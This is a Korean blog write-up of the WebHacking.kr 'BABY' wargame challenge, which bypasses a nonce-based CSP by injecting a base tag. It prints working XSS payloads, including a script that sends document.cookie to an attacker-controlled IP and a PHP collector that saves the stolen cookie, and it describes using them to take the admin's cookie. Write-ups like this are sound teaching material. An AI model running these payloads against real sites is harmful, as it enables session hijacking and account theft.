Search

WebHacking.kr Challenge BABY

목표 : CSP 우회 (base 태그 취약점)
아무거나 넣어도 된다며 inject 인자를 GET에 바로 쥐어준다.
기본적인 SQL Injection을 넣어봤지만 별 변화는 없었고
볼드 태그는 정상적으로 작동하기에 혹시 XSS가 되나 싶었다.
직접 입력해 넣은 결과는 아무런 변화가 없었다.
보이는 값이 없고 Access Denied나 No Hack 등이 뜨지도 않아서 실행 자체가 아예 무시된듯 싶다.
소스코드를 확인해보면 js 자바스크립트를 부르는데 nonce라는 인자를 확인할 수 있다.
Javascript를 꼭 사용해야할 때 nonce값을 동일하게 입력해주면 실행이 가능하지만 이외에는 실행이 불가능한 CSP (Content Security Policy) 사용에 보통 설정된다.
<?php $nonce_key = hash('sha256', microtime()); ?>
PHP
복사
nonce-key는 위와 같은 코드로 보통 생성되기에 시간에 따라 랜덤으로 변하는 만큼 동일한 nonce값을 사전에 입력해 실행을 유도하기는 어렵다.
네트워크 통신 헤더를 보면 실제로 다음과 같이 헤더가 설정돼있다.
CSP Evaluator라는 사이트를 활용하면 해당 CSP이 가질 수 있는 위험요소에 대해 안내한다.
object 를 이용하여 javascript를 실행
base uri 변경을 통한 javascript 실행

1) Object를 이용한 javascript 실행

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
nonce필터링에서 동일하게 걸려 실패했다.

2) Base URI 변경을 통한 Javascript 실행

베이스를 설정하기 위해 개인 서버가 필요하다.

개인 서버 설정

서버를 만들고 나면 base를 다음과 같이 설정해 넣어주면 된다.
<base href=”http://111.111.111.111”>
Bash
복사
이러면 자연스럽게 111.111.111.111 하위의 script.js가 불려오게 되고 먼저 GET Response를 잡기 위해 request bin을 제공하는 드림핵 툴을 사용했다. fetch로 response 값을 잡아봤는데 특별한 정보가 없다.
#script.js fetch('https://ypjpejk.request.dreamhack.games') .then(function(response) { return response.json(); }) .then(function(value) { console.log(value); });
JavaScript
복사
다음은 쿠키 탈취를 위한 방식이다. (참조 : https://kangmyoungseok.github.io/webhacking/webhacking-baby/)
두 개의 파일을 생성한다.
#script.js document.location="http://111.111.111.111/xss.php?cookie="+document.cookie;
JavaScript
복사
#xss.php <?php $cookie = $_GET['cookie']; $save_file = fopen("/var/www/html/cookie","w"); fwrite($save_file,$cookie); fclose($save_file); ?>
PHP
복사
script.js가 쿠키 값을 받아 xss.php로 전달하고 xss.php는 쿠키 파일을 저장한다.
서버는 PHP 실행이 가능해야하고, xss.php 및 /var/www/html 경로에 쓰기 권한이 있어야 한다.
현재 페이지에서 그대로 실행하게되면 접속한 내 쿠키 값이 저장되게 되지만 이를 에러 리포팅 페이지로 가서 제출하게된다면 admin의 쿠키값을 탈취할 수 있다.
플래그를 획득했다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.